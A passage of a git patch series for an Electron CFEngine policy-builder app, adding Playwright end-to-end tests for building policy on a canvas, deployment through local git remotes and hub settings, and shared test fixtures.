expect(await Promise.resolve(api)).toBe(api); + }); + + it('renders inside the store and theme', () => { + const { store, getByText } = renderWithProviders(

    hello

    ); + expect(getByText('hello')).toBeInTheDocument(); + expect(store.getState().files).toBeDefined(); + }); +}); diff --git a/src/renderer/src/test/render.tsx b/src/renderer/src/test/render.tsx new file mode 100644 index 0000000..97693a4 --- /dev/null +++ b/src/renderer/src/test/render.tsx @@ -0,0 +1,42 @@ +import type { ReactElement } from 'react'; +import { Provider } from 'react-redux'; + +import { render } from '@testing-library/react'; + +import { AppThemeProvider } from '../ThemeProvider'; +import { createAppStore } from '../store'; + +type Api = NonNullable; + +/** Renders `ui` inside the app's providers, with an isolated store unless one is given. */ +export function renderWithProviders(ui: ReactElement, { store = createAppStore() } = {}) { + return { + store, + ...render( + + {ui} + + ) + }; +} + +/** + * Installs a fake `window.api`: every method is a vi.fn (resolving undefined, listeners + * returning an unsubscribe) unless `overrides` gives it. Remove it with `uninstallApi`. + */ +export function installApi(overrides: Partial = {}): Api { + const api = new Proxy({ ...overrides } as Record, { + get(target, key: string | symbol) { + // Not a thenable: awaiting the api must not call a fake `then`. + if (typeof key !== 'string' || key === 'then') return undefined; + if (!(key in target)) target[key] = key.startsWith('on') ? vi.fn(() => () => {}) : vi.fn(async () => undefined); + return target[key]; + } + }) as unknown as Api; + window.api = api; + return api; +} + +export function uninstallApi() { + delete window.api; +} diff --git a/src/renderer/src/test/setup.ts b/src/renderer/src/test/setup.ts index bc8ab0b..9eb41aa 100644 --- a/src/renderer/src/test/setup.ts +++ b/src/renderer/src/test/setup.ts @@ -34,3 +34,6 @@ class DOMMatrixReadOnlyStub { const browserGlobals = globalThis as unknown as Record; browserGlobals.ResizeObserver ??= ResizeObserverStub; browserGlobals.DOMMatrixReadOnly ??= DOMMatrixReadOnlyStub; + +// jsdom has no scrolling (the test log scrolls to its end). +Element.prototype.scrollIntoView ??= () => {}; From 5734400a8ac12e439aa3e885c42bfc429c24ca5a Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 15:07:31 +0300 Subject: [PATCH 078/141] Added end-to-end journeys for building policy, deployment and test environments The specs share e2e/fixtures.ts, which runs the app off screen. The demo spec is no longer called a smoke test, nor is the CI job. Shipping and a Docker test run are opt-in (CFPB_NETWORK_TESTS, CFPB_DOCKER_TESTS). Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- e2e/build-policy.spec.ts | 289 ++++++++++++++++++++++++++++ e2e/{smoke.spec.ts => demo.spec.ts} | 43 +---- e2e/deployment.spec.ts | 211 ++++++++++++++++++++ e2e/fixtures.ts | 75 ++++++++ e2e/open.spec.ts | 80 +++----- e2e/test-environments.spec.ts | 107 ++++++++++ 6 files changed, 706 insertions(+), 99 deletions(-) create mode 100644 e2e/build-policy.spec.ts rename e2e/{smoke.spec.ts => demo.spec.ts} (64%) create mode 100644 e2e/deployment.spec.ts create mode 100644 e2e/fixtures.ts create mode 100644 e2e/test-environments.spec.ts diff --git a/e2e/build-policy.spec.ts b/e2e/build-policy.spec.ts new file mode 100644 index 0000000..abf04c5 --- /dev/null +++ b/e2e/build-policy.spec.ts @@ -0,0 +1,289 @@ +import { type Locator, type Page } from '@playwright/test'; +import { readFileSync } from 'fs'; +import { join } from 'path'; + +import { SAVE_TIMEOUT_MS, expect, test } from './fixtures'; + +// Building policy on the canvas, offline: projects are modules without git (no masterfiles download), +// created in the fixture's scratch folder. + +const footer = (window: Page) => window.locator('footer'); +const canvas = (window: Page) => window.locator('.react-flow'); +const cardOf = (window: Page, label: string) => canvas(window).locator('.react-flow__node').filter({ hasText: label }); +const paletteRow = (window: Page, name: string) => window.getByRole('button', { name: new RegExp(`^${name}\\b`) }); + +async function newProject(window: Page, name: string) { + await window.getByRole('button', { name: 'New Project' }).click(); + const dialog = window.getByRole('dialog', { name: 'New Project' }); + await dialog.getByLabel('Project name').fill(name); + await dialog.getByRole('radio', { name: /^Module/ }).check(); + await dialog.getByLabel('Initialize a git repository').uncheck(); + await expect(dialog.getByText(/^Will be created at:/)).toBeVisible(); + await dialog.getByRole('button', { name: 'Create' }).click(); + await expect(dialog).toBeHidden({ timeout: SAVE_TIMEOUT_MS }); + await expect(footer(window).getByText(`Project: ${name}`)).toBeVisible(); +} + +// A real pointer drag: dnd-kit starts after 8 px of movement. +async function dragFromPalette(window: Page, blockName: string, to: { x: number; y: number }) { + const row = paletteRow(window, blockName); + await row.scrollIntoViewIfNeeded(); + const box = (await row.boundingBox())!; + await window.mouse.move(box.x + box.width / 2, box.y + box.height / 2); + await window.mouse.down(); + await window.mouse.move(box.x + box.width / 2 + 20, box.y + box.height / 2, { steps: 4 }); + await window.mouse.move(to.x, to.y, { steps: 10 }); + await window.mouse.up(); +} + +async function canvasPoint(window: Page, fx: number, fy: number) { + const box = (await canvas(window).boundingBox())!; + return { x: box.x + box.width * fx, y: box.y + box.height * fy }; +} + +// The Generated Policy tab's text, once it is up to date. +async function generatedPolicy(window: Page): Promise { + await window.getByRole('tab', { name: 'Generated Policy (.cf)' }).click(); + await expect(window.getByText('Up to date')).toBeVisible({ timeout: SAVE_TIMEOUT_MS }); + return window.locator('.cm-content').innerText(); +} + +const showCanvas = (window: Page) => window.getByRole('tab', { name: 'Canvas' }).click(); + +async function save(window: Page) { + await window.keyboard.press('ControlOrMeta+s'); + await expect(window.getByLabel('Unsaved changes')).toHaveCount(0, { timeout: SAVE_TIMEOUT_MS }); +} + +const UNDO = 'ControlOrMeta+z'; +const REDO = process.platform === 'darwin' ? 'Meta+Shift+z' : 'Control+y'; + +// Adds a block by clicking its palette row (it gets selected), then names it. +async function addBlock(window: Page, blockName: string, label: string) { + const row = paletteRow(window, blockName); + await row.scrollIntoViewIfNeeded(); + await row.click(); + await window.getByLabel('Label').fill(label); + await expect(cardOf(window, label)).toBeVisible(); +} + +// Adding a block pans the canvas (animated): wait until the element stops moving. +async function settledBox(locator: Locator) { + let last = ''; + await expect + .poll(async () => { + const box = JSON.stringify(await locator.boundingBox()); + const settled = box === last; + last = box; + return settled; + }) + .toBe(true); + return JSON.parse(last) as { height: number; width: number; x: number; y: number }; +} + +const clickPane = (window: Page) => + canvas(window) + .locator('.react-flow__pane') + .click({ position: { x: 5, y: 5 } }); + +test('drag a block in, edit it, save and reopen', async ({ window, scratchDir, consoleErrors }) => { + await newProject(window, 'Build E2E'); + + await test.step('drag Manage Service from the palette onto the canvas', async () => { + await dragFromPalette(window, 'Manage Service', await canvasPoint(window, 0.5, 0.4)); + await expect(footer(window).getByText('Blocks: 1', { exact: true })).toBeVisible(); + await expect(cardOf(window, 'Manage Service')).toBeVisible(); + }); + + await test.step('edit its label and service name in Properties', async () => { + await cardOf(window, 'Manage Service').click(); + await window.getByLabel('Label').fill('Keep sshd running'); + await window.getByLabel('Service name').fill('sshd'); + await expect(cardOf(window, 'Keep sshd running')).toBeVisible(); + }); + + await test.step('Generated Policy shows it; clicking its code selects the block', async () => { + await clickPane(window); + const policy = await generatedPolicy(window); + expect(policy).toContain('"sshd"'); + expect(policy).toContain('# Keep sshd running'); + await expect(window.locator('.cm-selected-block')).toHaveCount(0); + await expect(window.locator('.cm-block-bar[title="Keep sshd running · Manage Service"]').first()).toBeAttached(); + await window.locator('.cm-line').filter({ hasText: '"sshd"' }).first().click(); + await expect(window.locator('.cm-selected-block').first()).toBeVisible(); + await showCanvas(window); + await expect(window.getByLabel('Label')).toHaveValue('Keep sshd running'); + }); + + await test.step('save, reload and reopen from Recent projects', async () => { + await save(window); + await window.reload(); + await window.getByRole('button', { name: /^Build E2E/ }).click(); + await expect(footer(window).getByText('Blocks: 1', { exact: true })).toBeVisible(); + await cardOf(window, 'Keep sshd running').click(); + await expect(window.getByLabel('Service name')).toHaveValue('sshd'); + }); + + // The policy file is named after the file's bundle. + expect(readFileSync(join(scratchDir, 'projects/build-e2e/build_e2e.cf'), 'utf-8')).toContain('"sshd"'); + expect(consoleErrors, 'console errors during the run').toEqual([]); +}); + +test('conditions, arrows and undo/redo', async ({ window, consoleErrors }) => { + await newProject(window, 'Flow E2E'); + await addBlock(window, 'Manage Service', 'Start web'); + await window.getByLabel('Service name').fill('nginx'); + await addBlock(window, 'Manage Service', 'Start db'); + await window.getByLabel('Service name').fill('postgresql'); + + await test.step('the second block runs only on linux', async () => { + await window.getByRole('button', { name: 'Condition (0)' }).click(); + await window.getByRole('button', { name: 'Add condition' }).click(); + await window.getByPlaceholder('Search class names…').fill('linux'); + await window.getByRole('option', { name: /^linux Linux kernel/ }).click(); + }); + + // An arrow's outcome chip (the condition's dashed link is an edge too). + const chip = canvas(window).getByTitle('Change or remove this arrow'); + await test.step('an arrow from the first block to the second', async () => { + const from = await settledBox(cardOf(window, 'Start web').locator('.react-flow__handle[data-handleid="out"]')); + const to = await settledBox(cardOf(window, 'Start db').locator('.react-flow__handle[data-handleid="in"]')); + await window.mouse.move(from.x + from.width / 2, from.y + from.height / 2); + await window.mouse.down(); + await window.mouse.move(to.x + to.width / 2, to.y + to.height / 2, { steps: 10 }); + await window.mouse.up(); + await expect(chip).toHaveCount(1); + }); + + const before = await chip.innerText(); + await test.step('the arrow also fires when the first block fails', async () => { + await chip.click(); + await window.getByRole('menuitem', { name: /not kept/ }).click(); + await window.keyboard.press('Escape'); + await expect(chip).not.toHaveText(before); + }); + const after = await chip.innerText(); + + const policy = await generatedPolicy(window); + expect(policy).toContain('classes => results("bundle", "flow_e2e_start_web")'); + expect(policy).toContain('if => "linux.(flow_e2e_start_web_kept|flow_e2e_start_web_not_kept)"'); + await showCanvas(window); + + await test.step('undo takes back the outcome, then the arrow; redo re-applies both', async () => { + await clickPane(window); + await window.keyboard.press(UNDO); + await expect(chip).toHaveText(before); + await window.keyboard.press(UNDO); + await expect(chip).toHaveCount(0); + await window.keyboard.press(REDO); + await expect(chip).toHaveText(before); + await window.keyboard.press(REDO); + await expect(chip).toHaveText(after); + }); + + expect(await generatedPolicy(window)).toBe(policy); + expect(consoleErrors, 'console errors during the run').toEqual([]); +}); + +test('files: description, copy and paste between files, delete and undo', async ({ window, consoleErrors }) => { + await newProject(window, 'Files E2E'); + await addBlock(window, 'Manage Service', 'Start web'); + await window.getByLabel('Service name').fill('nginx'); + + await test.step('add a second file and describe it', async () => { + await window.getByTitle('New file').click(); + await window.keyboard.type('Extras'); + await window.keyboard.press('Enter'); + await window.getByText('Extras.cf', { exact: true }).click(); + await expect(footer(window).getByText('File: Extras.cf')).toBeVisible(); + await window.getByLabel('Description').fill('Extra checks for E2E'); + }); + + await test.step('hovering the file name shows the description', async () => { + await window.getByText('Extras.cf', { exact: true }).hover(); + await expect(window.getByRole('tooltip')).toHaveText('Extra checks for E2E'); + }); + + await test.step('the generated file starts with it', async () => { + expect(await generatedPolicy(window)).toContain('# Extra checks for E2E'); + await showCanvas(window); + }); + + await test.step('copy a block, switch file, paste', async () => { + await window.getByText('Files E2E.cf', { exact: true }).click(); + await cardOf(window, 'Start web').click(); + await window.keyboard.press('ControlOrMeta+c'); + await window.getByText('Extras.cf', { exact: true }).click(); + await expect(footer(window).getByText('Blocks: 0', { exact: true })).toBeVisible(); + await clickPane(window); + await window.keyboard.press('ControlOrMeta+v'); + await expect(cardOf(window, 'Start web')).toBeVisible(); + await expect(footer(window).getByText('Blocks: 1', { exact: true })).toBeVisible(); + }); + + await test.step('delete the file after confirming, undo brings it back', async () => { + await window.getByText('Extras.cf', { exact: true }).hover(); + await window.getByRole('button', { name: /^Delete Extras/ }).click(); + const confirm = window.getByRole('dialog', { name: 'Delete policy file' }); + await confirm.getByRole('button', { name: 'Delete' }).click(); + await expect(confirm).toBeHidden(); + await expect(window.getByText('Extras.cf', { exact: true })).toHaveCount(0); + await clickPane(window); + await window.keyboard.press(UNDO); + await window.getByText('Extras.cf', { exact: true }).click(); + await expect(footer(window).getByText('Blocks: 1', { exact: true })).toBeVisible(); + }); + + expect(consoleErrors, 'console errors during the run').toEqual([]); +}); + +test('groups: group two blocks and name the group', async ({ window, consoleErrors }) => { + await newProject(window, 'Groups E2E'); + await addBlock(window, 'Manage Service', 'Start web'); + await window.getByLabel('Service name').fill('nginx'); + await addBlock(window, 'Manage Service', 'Start db'); + await window.getByLabel('Service name').fill('postgresql'); + + await cardOf(window, 'Start web').click(); + await cardOf(window, 'Start db').click({ modifiers: ['Shift'] }); + await expect(window.getByText('2 blocks selected')).toBeVisible(); + await window.getByRole('button', { name: /^Group them/ }).click(); + await window.getByLabel('Group name').fill('Web stack'); + + const policy = await generatedPolicy(window); + expect(policy).toContain('usebundle => groups_e2e_web_stack'); + expect(policy).toContain('bundle agent groups_e2e_web_stack'); + expect(consoleErrors, 'console errors during the run').toEqual([]); +}); + +test('Define Variable: a literal value and a computed one', async ({ window, consoleErrors }) => { + await newProject(window, 'Vars E2E'); + await addBlock(window, 'Define Variable', 'Settings'); + + await test.step('a literal value, typed in the value editor', async () => { + await window.getByLabel('Variable name').fill('greeting'); + await window.getByLabel('Value', { exact: true }).click(); + const editor = window.getByRole('dialog', { name: 'Value' }); + await editor.locator('.cm-content').click(); + await window.keyboard.type('hello e2e'); + await editor.getByRole('button', { name: 'Save' }).click(); + await expect(editor).toBeHidden(); + }); + + await test.step('a second variable from the environment, uppercased', async () => { + await window.getByRole('button', { name: 'Add another variable' }).click(); + await window.getByLabel('Variable name').fill('home_upper'); + await window.getByLabel('Value source').click(); + await window.getByRole('option', { name: 'Environment variable' }).click(); + await window.getByLabel('Environment variable name').fill('HOME'); + await window.getByRole('button', { name: /^Data transformation/ }).click(); + // The canvas's data-chain node has one too; Properties comes after it. + await window.getByRole('button', { name: 'Add transform' }).last().click(); + await window.getByRole('menuitem', { name: 'Uppercase' }).click(); + }); + + const policy = await generatedPolicy(window); + expect(policy).toContain('"greeting" string => "hello e2e";'); + expect(policy).toContain('"home_upper" string => string_upcase(getenv("HOME", "1024"));'); + expect(consoleErrors, 'console errors during the run').toEqual([]); +}); diff --git a/e2e/smoke.spec.ts b/e2e/demo.spec.ts similarity index 64% rename from e2e/smoke.spec.ts rename to e2e/demo.spec.ts index b6a0dea..8f9b85e 100644 --- a/e2e/smoke.spec.ts +++ b/e2e/demo.spec.ts @@ -1,45 +1,6 @@ -import { type ElectronApplication, type Page, _electron as electron, expect, test } from '@playwright/test'; -import { mkdtempSync, rmSync } from 'fs'; -import { tmpdir } from 'os'; -import { join, resolve } from 'path'; +import { expect, test } from './fixtures'; -const appEntry = resolve(__dirname, '../out/main/index.js'); - -let app: ElectronApplication; -let window: Page; -let userDataDir: string; -const consoleErrors: string[] = []; - -test.beforeEach(async () => { - // A throwaway profile, so the run never reads or writes the developer's layout settings. - userDataDir = mkdtempSync(join(tmpdir(), 'cfpb-e2e-')); - // ELECTRON_RUN_AS_NODE=1 would start Electron as plain Node, with no window. - const env = Object.fromEntries(Object.entries(process.env).filter(([key, value]) => key !== 'ELECTRON_RUN_AS_NODE' && value !== undefined)) as Record< - string, - string - >; - app = await electron.launch({ args: [appEntry, `--user-data-dir=${userDataDir}`], env }); - window = await app.firstWindow(); - window.on('console', message => { - if (message.type() === 'error') consoleErrors.push(message.text()); - }); - window.on('pageerror', error => consoleErrors.push(`pageerror: ${error.message}`)); -}); - -// eslint-disable-next-line no-empty-pattern -- Playwright requires the fixtures arg to be destructured -test.afterEach(async ({}, testInfo) => { - if (testInfo.status !== testInfo.expectedStatus && window) { - const path = testInfo.outputPath('failure.png'); - await window.screenshot({ path }); - await testInfo.attach('screenshot', { path, contentType: 'image/png' }); - } - // exit() skips the unsaved-changes prompt a plain close() would wait on. - await app?.evaluate(({ app: electronApp }) => electronApp.exit(0)).catch(() => {}); - await app?.close(); - rmSync(userDataDir, { recursive: true, force: true }); -}); - -test('demo project: switch files, delete + undo, add and rename a block', async () => { +test('demo project: switch files, delete + undo, add and rename a block', async ({ app, window, consoleErrors }) => { const statusBar = window.locator('footer'); const blockCount = async () => Number((await statusBar.getByText(/^Blocks: \d+$/).textContent())?.match(/\d+/)?.[0]); diff --git a/e2e/deployment.spec.ts b/e2e/deployment.spec.ts new file mode 100644 index 0000000..112d927 --- /dev/null +++ b/e2e/deployment.spec.ts @@ -0,0 +1,211 @@ +import { type ElectronApplication, type Page } from '@playwright/test'; +import { execFileSync } from 'child_process'; +import { mkdirSync, writeFileSync } from 'fs'; +import { join } from 'path'; + +import { test as base, expect, openFromMenu } from './fixtures'; + +// The Deployment tab against local git repositories. Pre-flight and shipping run `cfbs build`, +// which downloads masterfiles: those tests are opt-in with CFPB_NETWORK_TESTS=1. +const NETWORK = process.env.CFPB_NETWORK_TESTS === '1'; +const IDENTITY = { GIT_AUTHOR_NAME: 'E2E Test', GIT_AUTHOR_EMAIL: 'e2e@example.com', GIT_COMMITTER_NAME: 'E2E Test', GIT_COMMITTER_EMAIL: 'e2e@example.com' }; + +// Git (ours and the app's, which inherits the env) reads only the scratch folder's config, and +// commits as the E2E identity. +const test = base.extend({ + scratchDir: async ({ scratchDir }, provide) => { + const config = join(scratchDir, 'gitconfig'); + writeFileSync(config, '[init]\n\tdefaultBranch = main\n[user]\n\tname = E2E Test\n\temail = e2e@example.com\n'); + const env: Record = { ...IDENTITY, GIT_CONFIG_GLOBAL: config, GIT_CONFIG_NOSYSTEM: '1' }; + const saved = Object.fromEntries(Object.keys(env).map(key => [key, process.env[key]])); + Object.assign(process.env, env); + await provide(scratchDir); + for (const [key, value] of Object.entries(saved)) { + if (value === undefined) delete process.env[key]; + else process.env[key] = value; + } + } +}); + +const git = (cwd: string, ...args: string[]) => execFileSync('git', args, { cwd, encoding: 'utf-8' }).trim(); + +// A builder project with one local policy file and no masterfiles, so building needs no download. +function writeProject(scratchDir: string, folder: string, withGit: boolean): string { + const path = join(scratchDir, folder); + mkdirSync(join(path, '.policy-builder'), { recursive: true }); + const cfbs = { + name: 'Deploy Me', + description: 'Deployed by the E2E test', + type: 'policy-set', + build: [ + { + name: './web.cf', + description: 'Local policy file added using cfbs command line', + tags: ['local'], + added_by: 'cfbs add', + steps: ['copy ./web.cf services/cfbs/web.cf', 'policy_files services/cfbs/web.cf', 'bundles web'] + } + ] + }; + const builder = { + schema_version: 2, + folders: [], + files: [ + { + id: 'file-1', + name: 'Web', + bundle: 'web', + path: './web.cf', + blocks: [], + edges: [], + order: [], + layout: { positions: {}, groups: [], derived_positions: {} } + } + ], + current_file_id: 'file-1' + }; + writeFileSync(join(path, 'cfbs.json'), JSON.stringify(cfbs, null, 2)); + writeFileSync(join(path, '.policy-builder/project.json'), JSON.stringify(builder, null, 2)); + writeFileSync(join(path, 'web.cf'), 'bundle agent web\n{\n reports:\n "hello";\n}\n'); + writeFileSync(join(path, '.gitignore'), 'out/\n'); + if (withGit) { + git(path, 'init', '--quiet'); + git(path, 'add', '--all'); + git(path, 'commit', '--quiet', '-m', 'Initial'); + } + return path; +} + +function bareRepo(scratchDir: string): string { + const path = join(scratchDir, 'remote.git'); + execFileSync('git', ['init', '--quiet', '--bare', path]); + return path; +} + +async function openDeployment(app: ElectronApplication, window: Page, path: string) { + await expect(window.getByText(/^Try Demo:/)).toBeVisible(); + await openFromMenu(app, path); + await expect(window.locator('footer').getByText('Project: Deploy Me')).toBeVisible(); + await window.getByRole('tab', { name: 'Deployment' }).click(); + await expect(window.getByText('Deploy to', { exact: true })).toBeVisible(); +} + +test('git remote, SSH hub and Enterprise hub setup forms', async ({ app, window, scratchDir, consoleErrors }) => { + const path = writeProject(scratchDir, 'project', true); + const remote = bareRepo(scratchDir); + await openDeployment(app, window, path); + + await test.step('the Git repository tab sets a remote', async () => { + await expect(window.getByRole('tab', { name: 'Git repository' })).toHaveAttribute('aria-selected', 'true'); + await window.getByLabel('Remote (origin)').fill(remote); + await window.getByRole('button', { name: 'Set', exact: true }).click(); + await expect(window.getByText(`${remote} · main`)).toBeVisible(); + await expect(window.getByLabel('Remote (origin)')).toHaveCount(0); + expect(git(path, 'remote', 'get-url', 'origin')).toBe(remote); + }); + + await test.step('a saved SSH hub shows as status, Forget brings the form back', async () => { + await window.getByRole('tab', { name: 'Hub over SSH' }).click(); + await window.getByLabel('Hub', { exact: true }).fill('root@hub.example.com'); + await window.getByLabel('Port').fill('2222'); + await window.getByRole('main').getByRole('button', { name: 'Save', exact: true }).click(); + await expect(window.getByText('root@hub.example.com:2222', { exact: true })).toBeVisible(); + await expect(window.getByText('Not deployed from here yet')).toBeVisible(); + + await window.getByRole('main').getByRole('button', { name: 'Settings', exact: true }).click(); + const dialog = window.getByRole('dialog', { name: 'Hub over SSH' }); + await expect(dialog.getByLabel('Hub', { exact: true })).toHaveValue('root@hub.example.com'); + await dialog.getByRole('button', { name: 'Forget' }).click(); + await expect(dialog).toBeHidden(); + await expect(window.getByLabel('Hub', { exact: true })).toHaveValue(''); + }); + + await test.step('the Enterprise hub tab shows the connect form', async () => { + await window.getByRole('tab', { name: 'Enterprise hub' }).click(); + await expect(window.getByLabel('Hub (Mission Portal) URL')).toBeVisible(); + await expect(window.getByLabel('Username')).toBeVisible(); + await expect(window.getByRole('button', { name: 'Connect' })).toBeVisible(); + }); + + await test.step('the chosen tab survives switching views', async () => { + await window.getByRole('tab', { name: 'Canvas' }).click(); + await expect(window.getByText('Deploy to', { exact: true })).toHaveCount(0); + await window.getByRole('tab', { name: 'Deployment' }).click(); + await expect(window.getByRole('tab', { name: 'Enterprise hub' })).toHaveAttribute('aria-selected', 'true'); + }); + expect(consoleErrors, 'console errors during the run').toEqual([]); +}); + +test('initializes git in a project folder that has none', async ({ app, window, scratchDir, consoleErrors }) => { + const path = writeProject(scratchDir, 'project', false); + await openDeployment(app, window, path); + + await expect(window.getByText('This project folder isn’t a git repository yet.')).toBeVisible(); + await window.getByRole('button', { name: 'Initialize git' }).click(); + await expect(window.getByRole('alert').filter({ hasText: /^Initialized git: first commit [0-9a-f]{7}/ })).toBeVisible(); + // A repository without a remote: the remote form is next. + await expect(window.getByLabel('Remote (origin)')).toBeVisible(); + expect(git(path, 'log', '--format=%s')).toBe('Initialized the project'); + expect(git(path, 'ls-files')).toContain('cfbs.json'); + expect(consoleErrors, 'console errors during the run').toEqual([]); +}); + +test.describe('with network', () => { + test.skip(!NETWORK, 'downloads masterfiles: set CFPB_NETWORK_TESTS=1 to run'); + // Saving the demo downloads masterfiles, and every build runs cfbs and cf-promises. + test.setTimeout(600_000); + + test('pre-flight passes on the demo, then shipping commits and pushes', async ({ window, scratchDir }) => { + const remote = bareRepo(scratchDir); + const path = join(scratchDir, 'projects/nginx-web-server-demo'); + const toast = window.getByRole('alert').filter({ hasText: /^Pushed [0-9a-f]{7} to origin/ }); + const ship = async () => { + await window.getByRole('button', { name: /^(Commit & push|Push)$/ }).click(); + const dialog = window.getByRole('dialog'); + // Not tested on test hosts: shipping warns, then goes ahead. + await dialog.getByRole('button', { name: 'Ship anyway' }).click(); + await expect(toast).toBeVisible({ timeout: 300_000 }); + await window + .getByRole('alert') + .filter({ hasText: /^Pushed/ }) + .getByRole('button', { name: 'Close' }) + .click(); + }; + + await test.step('Try Demo, then Save As into a git project', async () => { + await window.getByText(/^Try Demo:/).click(); + await window.getByRole('button', { name: 'Save As…' }).click(); + const dialog = window.getByRole('dialog', { name: 'Save Project As' }); + await expect(dialog.getByLabel('Initialize a git repository')).toBeChecked(); + await dialog.getByRole('button', { name: 'Save', exact: true }).click(); + await expect(dialog).toBeHidden({ timeout: 300_000 }); + expect(git(path, 'log', '--format=%s')).not.toBe(''); + }); + + await test.step('pre-flight checks out', async () => { + await window.getByRole('tab', { name: 'Deployment' }).click(); + await window.getByRole('button', { name: 'Run pre-flight' }).click(); + await expect(window.getByTitle(/^Valid policy: (Checks out|Builds \(cf-promises skipped\))$/)).toBeVisible({ timeout: 300_000 }); + }); + + await test.step('ship pushes to the remote', async () => { + await window.getByLabel('Remote (origin)').fill(remote); + await window.getByRole('button', { name: 'Set', exact: true }).click(); + await ship(); + expect(git(remote, 'rev-parse', 'main')).toBe(git(path, 'rev-parse', 'HEAD')); + expect(git(remote, 'ls-tree', '--name-only', 'main')).toContain('cfbs.json'); + }); + + await test.step('an edit warns on Committed, shipping again commits it', async () => { + await window.getByRole('tab', { name: 'Canvas' }).click(); + await window.getByRole('button', { name: /^Copy File\b/ }).click(); + await window.getByRole('tab', { name: 'Deployment' }).click(); + await expect(window.getByTitle(/^Committed: \d+ changes? not committed$/)).toBeVisible(); + const before = Number(git(remote, 'rev-list', '--count', 'main')); + await ship(); + expect(Number(git(remote, 'rev-list', '--count', 'main'))).toBe(before + 1); + expect(git(remote, 'rev-parse', 'main')).toBe(git(path, 'rev-parse', 'HEAD')); + expect(git(path, 'status', '--porcelain')).toBe(''); + }); + }); +}); diff --git a/e2e/fixtures.ts b/e2e/fixtures.ts new file mode 100644 index 0000000..cfea986 --- /dev/null +++ b/e2e/fixtures.ts @@ -0,0 +1,75 @@ +import { type ElectronApplication, type Page, test as base, _electron as electron, expect } from '@playwright/test'; +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'fs'; +import { tmpdir } from 'os'; +import { join, resolve } from 'path'; + +// Shared launch/teardown: each test gets its own app with a throwaway profile, a scratch folder, +// a failure screenshot (Playwright's own don't reach Electron windows) and collected console errors. +const appEntry = resolve(__dirname, '../out/main/index.js'); + +// Saving spawns the Python sidecar to generate the policy; a cold start can take a while. +export const SAVE_TIMEOUT_MS = 20_000; + +type Fixtures = { + app: ElectronApplication; + // Console errors and page errors seen so far; assert it is empty at the end of a test. + consoleErrors: string[]; + // A temp folder for project fixtures, removed after the test. The profile lives in user-data/, + // and New Project defaults to projects/ (never the real Documents folder). + scratchDir: string; + window: Page; +}; + +export const test = base.extend({ + // eslint-disable-next-line no-empty-pattern -- Playwright requires the fixtures arg to be destructured + scratchDir: async ({}, provide) => { + const dir = mkdtempSync(join(tmpdir(), 'cfpb-e2e-')); + mkdirSync(join(dir, 'projects')); + mkdirSync(join(dir, 'user-data')); + writeFileSync(join(dir, 'user-data/app-settings.json'), JSON.stringify({ lastProjectParent: join(dir, 'projects') })); + await provide(dir); + rmSync(dir, { recursive: true, force: true }); + }, + // eslint-disable-next-line no-empty-pattern -- Playwright requires the fixtures arg to be destructured + consoleErrors: async ({}, provide) => provide([]), + app: async ({ scratchDir }, provide) => { + const app = await launch(join(scratchDir, 'user-data')); + await provide(app); + // exit() skips the unsaved-changes prompt a plain close() would wait on. + await app.evaluate(({ app: electronApp }) => electronApp.exit(0)).catch(() => {}); + await app.close(); + }, + window: async ({ app, consoleErrors }, provide, testInfo) => { + const window = await app.firstWindow(); + window.on('console', message => { + if (message.type() === 'error') consoleErrors.push(message.text()); + }); + window.on('pageerror', error => consoleErrors.push(`pageerror: ${error.message}`)); + await provide(window); + if (testInfo.status !== testInfo.expectedStatus) { + const path = testInfo.outputPath('failure.png'); + await window.screenshot({ path }).catch(() => {}); + await testInfo.attach('screenshot', { path, contentType: 'image/png' }).catch(() => {}); + } + } +}); + +export { expect }; + +// Starts the built app with the given profile dir. +export async function launch(userDataDir: string): Promise { + // ELECTRON_RUN_AS_NODE=1 would start Electron as plain Node, with no window. + const env = Object.fromEntries(Object.entries(process.env).filter(([key, value]) => key !== 'ELECTRON_RUN_AS_NODE' && value !== undefined)) as Record< + string, + string + >; + // Off screen unless CFPB_E2E_SHOW=1, so a local run doesn't take over the desktop. + if (process.env.CFPB_E2E_SHOW !== '1') env.CFPB_E2E_HIDDEN = '1'; + return electron.launch({ args: [appEntry, `--user-data-dir=${userDataDir}`], env }); +} + +// Opens a project folder (or its cfbs.json) the way File > Open Recent does, with no native dialog. +export const openFromMenu = (app: ElectronApplication, path: string) => + app.evaluate(({ BrowserWindow }, target) => BrowserWindow.getAllWindows()[0].webContents.send('menu:open-recent', target), path); + +export const windowTitle = (app: ElectronApplication) => app.evaluate(({ BrowserWindow }) => BrowserWindow.getAllWindows()[0].getTitle()); diff --git a/e2e/open.spec.ts b/e2e/open.spec.ts index e652442..b52f894 100644 --- a/e2e/open.spec.ts +++ b/e2e/open.spec.ts @@ -1,23 +1,14 @@ -import { type ElectronApplication, type Page, _electron as electron, expect, test } from '@playwright/test'; -import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'fs'; -import { tmpdir } from 'os'; -import { join, resolve } from 'path'; +import { existsSync, mkdirSync, readFileSync, writeFileSync } from 'fs'; +import { join } from 'path'; + +import { SAVE_TIMEOUT_MS, expect, openFromMenu, test } from './fixtures'; // Opening projects from disk. Fixtures are written directly, and opened the way the File > Open // Recent menu does it, so no native dialog is involved. Saving runs the Python sidecar's compiler. -const appEntry = resolve(__dirname, '../out/main/index.js'); - -let app: ElectronApplication; -let window: Page; -let scratchDir: string; -const consoleErrors: string[] = []; - -const SAVE_TIMEOUT_MS = 20_000; - const readJson = (path: string) => JSON.parse(readFileSync(path, 'utf-8')); // A project folder: its cfbs.json and, for a builder project, .policy-builder/project.json. -function writeProject(folder: string, cfbs: object, builder?: object): string { +function writeProject(scratchDir: string, folder: string, cfbs: object, builder?: object): string { const path = join(scratchDir, folder); mkdirSync(path); writeFileSync(join(path, 'cfbs.json'), JSON.stringify(cfbs, null, 2)); @@ -72,45 +63,18 @@ const builderData = { current_file_id: 'file-1' }; -const openFromMenu = (path: string) => - app.evaluate(({ BrowserWindow }, target) => BrowserWindow.getAllWindows()[0].webContents.send('menu:open-recent', target), path); - -test.beforeEach(async () => { - scratchDir = mkdtempSync(join(tmpdir(), 'cfpb-e2e-open-')); - const userDataDir = join(scratchDir, 'user-data'); - const env = Object.fromEntries(Object.entries(process.env).filter(([key, value]) => key !== 'ELECTRON_RUN_AS_NODE' && value !== undefined)) as Record< - string, - string - >; - app = await electron.launch({ args: [appEntry, 